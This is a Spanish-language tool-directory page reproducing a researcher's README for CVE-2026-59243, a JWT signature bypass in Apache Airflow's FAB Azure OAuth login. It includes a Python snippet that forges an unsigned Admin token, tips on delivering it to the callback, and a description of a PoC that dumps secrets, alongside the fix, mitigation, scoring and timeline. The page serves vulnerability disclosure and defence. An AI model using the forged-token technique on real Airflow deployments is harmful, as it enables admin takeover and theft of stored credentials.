Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/malhyuk/cve-2026-59243
Autenticación y AutorizaciónAnálisis de VulnerabilidadesExplotación de Aplicaciones WebSeguridad de APIs
GitHubmalhyuk/cve-2026-59243

CVE-2026-59243

Prueba de concepto para CVE-2026-59243 que demuestra la evasión de firma JWT en la devolución de llamada OAuth de Azure AD del FAB Auth Manager de Apache Airflow debido a una configuración predeterminada insegura.

Ver Repositorio
5hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-59243 — Omisión de verificación de firma JWT en Apache Airflow FAB Auth Manager

Coreano: README.ko.md

  • Aviso de Apache: https://lists.apache.org/thread/x4784l7z00tl3gw4tv2dmvoon77rxgpl (publicado el 2026-07-29)
  • Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-59243
  • Corregido en: apache-airflow-providers-fab==3.7.3
  • Clase: CWE-347, omisión de verificación de firma JWT previa a la autenticación → toma de control de Admin
  • Reportero: MalHyuk (https://github.com/MalHyuk)

Qué se rompió

El FAB (Flask App Builder) Auth Manager de Apache Airflow decodifica los id_tokens OAuth de Azure AD en _decode_and_validate_azure_jwt(). Esa función tenía verify_signature con valor predeterminado False.

root@kitploit:~
# providers/fab/.../override.py  (líneas 2331–2341 en el momento del informe)
def _decode_and_validate_azure_jwt(self, id_token: str) -> dict[str, str]:
    verify_signature = self.oauth_remotes["azure"].client_kwargs.get(
        "verify_signature", False,  # ← el valor predeterminado es False
    )
    if verify_signature:
        # validación JWK de authlib, devolver claims
        ...
    # ruta predeterminada: omitir por completo la verificación de firma
    return jwt.decode(id_token, options={"verify_signature": False})

A menos que un operador establezca explícitamente verify_signature: true en client_kwargs, la verificación de firma está desactivada para todo el flujo de inicio de sesión. Cualquier token que llegue, sus claims se aceptan como la identidad del llamante.

La integración de Authentik ubicada en el mismo archivo tiene como valor predeterminado True:

root@kitploit:~
# providers/fab/.../override.py:414–416  (Authentik)
verify_signature = self.oauth_remotes["authentik"].client_kwargs.get(
    "verify_signature", True,   # ← este tiene como valor predeterminado True
)

Mismo archivo, misma forma, valor predeterminado opuesto. Ese contraste fue lo que primero me hizo sospechar que el valor predeterminado de Azure no era una decisión de política.

Escenario de ataque

Supongamos que Airflow está desplegado con FAB Auth Manager + OAuth de Azure AD, con client_kwargs sin modificar. (La instalación predeterminada.)

Forja un JWT con alg: none con los claims que quieras:

root@kitploit:~
import base64, json

def b64u(d):
    return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()

header  = b64u({"alg": "none", "typ": "JWT"})
payload = b64u({
    "sub":   "[email protected]",
    "email": "[email protected]",
    "name":  "Administrator",
    "roles": ["Admin"],
    "iss":   "https://login.microsoftonline.com/<tenant>/v2.0",
    "aud":   "<airflow-client-id>",
    "exp":   9999999999,
})
forged = f"{header}.{payload}."   # punto final: firma vacía

Entrega ese token a la devolución de llamada OAuth (/login/azure/authorized o donde esté montada la integración). Cómo lo entregues realmente varía según el despliegue: MITM a través de un proxy de terminación TLS mal configurado, un redireccionador abierto con validación laxa de redirect_uri, o golpeando la devolución de llamada directamente con un state manipulado. Elige lo que el objetivo te ofrezca.

En el momento en que el token llega a la devolución de llamada, FAB llama a _decode_and_validate_azure_jwt, cae en la ruta predeterminada y entrega los claims forjados a la sesión. Dado que enviaste roles: ["Admin"], ahora estás conectado como Admin. En Airflow eso es efectivamente todo: Connections, Variables, la clave Fernet y ejecución arbitraria de código como worker al enviar un nuevo DAG.

Gravedad

Tres evaluaciones diferentes aterrizaron en tres lugares diferentes, lo cual es realmente informativo:

  • NVD (autoritativo) — 9.8 CRÍTICO  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Mi CVSS 3.1 — 8.1 Alto  CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Mi CVSS 4.0 — Alto  CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
  • Aviso de Apache — moderate

La diferencia entre la mía y la de NVD es una métrica: AC. La marqué como H porque estaba pensando en la ruta de entrega MITM de forma limitada. El analista de NVD optó por AC:L, tratando cualquier forma de hacer llegar un id_token a la devolución de llamada (incluido el abuso del flujo OAuth normal) como capacidad ordinaria del atacante. Reflexionando, AC:L es la lectura más defendible: no necesitas estrictamente estar en la ruta para abusar de una verificación de firma rota. Por eso NVD/Strix llegan a 9.8, y es la puntuación que aparecerá en la mayoría de las bases de datos CVE y escáneres.

El moderate de Apache es una decisión separada basada en su propio modelo de riesgo, ponderada más hacia "¿con qué frecuencia surge esta condición previa en despliegues reales?" que hacia el techo del impacto. No es inconsistente con 9.8, solo responde a una pregunta diferente.

Corrección

Un carácter.

root@kitploit:~
- verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
+ verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", True)

Alinea el valor predeterminado de Azure con Authentik. Si alguien realmente necesita la verificación de firma desactivada (por ejemplo, JWKS autofirmado en una réplica local de Azure AD), aún puede optar por verify_signature: false en client_kwargs. Mucha mejor forma que enviar inseguro por defecto.

Fusionado el 2026-07-07 como PR #69374 / commit 54259ae. Publicado en apache-airflow-providers-fab==3.7.3 el 2026-07-28.

Si no puedes actualizar de inmediato, establécelo explícitamente en webserver_config.py:

root@kitploit:~
OAUTH_PROVIDERS = [
    {
        "name": "azure",
        "client_kwargs": {"verify_signature": True, ...},
        # ...
    },
]

Más allá de eso: mantén las devoluciones de llamada OAuth solo HTTPS con una lista blanca estricta de redirect_uri, y rota cualquier credencial almacenada en Airflow Connections si tienes motivos para pensar que fuiste afectado.

Reproducir

Docker + pwntools configurados en poc/:

  • poc/server.py aísla la ruta vulnerable (jwt.decode(..., options={"verify_signature": False})) en una pequeña aplicación Flask.
  • poc/exploit_airflow_jwt.py forja el JWT, golpea la devolución de llamada y vuelca secretos de marcador de posición desde la vista de admin.
  • poc/Dockerfile y poc/docker-compose.yml levantan el objetivo en 127.0.0.1:5002 (enlace de loopback).

Comando único:

root@kitploit:~
cd poc/
./run.sh

Si estás ejecutando esto en una máquina compartida, verifica el enlace de compose antes de comenzar.

Mapa de referencia de líneas

Refactorizaciones no relacionadas cambiaron los números de línea entre el informe original y el main actual. La ruta del archivo no cambió.

Archivo: providers/fab/src/airflow/providers/fab/auth_manager/security_manager/override.py

Cronología

Estructura

root@kitploit:~
CVE-2026-59243/
├── README.md              (este archivo)
├── README.ko.md           Versión en coreano
├── LICENSE                MIT
├── check_advisory.sh      vigilante de publicaciones (conservado para reutilización; actualmente inactivo)
├── patch/fix.diff         corrección de un carácter (anclada a las líneas del momento del informe)
└── poc/                   PoC con Docker + pwntools

Crédito / contacto

  • Descubridor: MalHyuk — https://github.com/MalHyuk
  • Proveedor: [email protected]
  • CNA: Apache Software Foundation

Licencia

MIT (LICENSE). El PoC es solo para reproducción e investigación defensiva. No lo apuntes a sistemas que no poseas o para los que no tengas autorización escrita para probar.

Descargar herramienta
SímboloEn el informe (2026-03-18)En main corregido (2026-07-29)
_decode_and_validate_azure_jwt()2331–2341 (predeterminado False, vulnerable)2428–2438 (predeterminado True, corregido)
_get_authentik_token_info()414–416 (predeterminado True, seguro)419–420 (predeterminado True, seguro)
FechaEvento
2026-03-18Reportado a [email protected]
2026-03 a 2026-07Retraso por parte de Apache; un miembro del PMC de Airflow confirmó posteriormente que el informe inicial se pasó por alto
2026-07-03Primera respuesta
2026-07-04CVE-2026-59243 asignado, información de crédito enviada
2026-07-07Corrección fusionada (commit 54259ae, PR #69374)
2026-07-28apache-airflow-providers-fab==3.7.3 publicado
2026-07-29Registro CVE de MITRE PUBLISHED, aviso de Apache publicado en [email protected]
2026-07-29Este repositorio se hizo público